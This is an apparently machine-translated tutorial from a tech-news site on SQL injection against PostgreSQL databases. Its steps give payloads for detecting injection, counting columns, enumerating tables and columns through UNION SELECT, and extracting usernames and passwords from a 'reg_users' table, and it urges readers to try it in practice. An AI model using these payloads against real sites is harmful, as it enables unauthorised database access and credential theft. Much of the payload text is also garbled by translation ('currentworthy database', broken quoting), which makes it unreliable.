Shulou(Shulou.com)06/02 Report--

This article mainly explains "the process of postgreasql database injection". Interested friends may wish to take a look. The method introduced in this paper is simple, fast and practical. Let's let the editor take you to learn the process of postgreasql database injection.

First, to judge whether there is injection.

And 1: 2 returned an error

And 1: 1 returns normal, injection exists

And 1::int=1 returns normal, which means it is postgresql database.

Second, judge the number of fields

Order by 5 returned an error

Order by 4 returns a normal description with four columns

Third, joint inquiry

Union select'1, 2, 3, 4, we can see that the position of 2bat 3 is displayed.

4. Get the current database

Union select'1 is currentworthy database (), and'3 is due 4'.

5. Get the first table

Union select'1 from pg_stat_user_tables limit 1 offset 0

Get the second table

Union select'1 from pg_stat_user_tables limit 1 offset 1

Get the first field

Union select'1 from information_schema.columns where table_name='reg_users' limit 1 offset 0

Get the second field

Union select'1 from information_schema.columns where table_name='reg_users' limit 1 offset 1

7. Get the field content

Union select '1recording 4' from reg_users | | name | |','| | password | |'','3'.

At this point, I believe that everyone on the "postgreasql database injection process" have a deeper understanding, might as well to the actual operation of it! Here is the website, more related content can enter the relevant channels to inquire, follow us, continue to learn!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.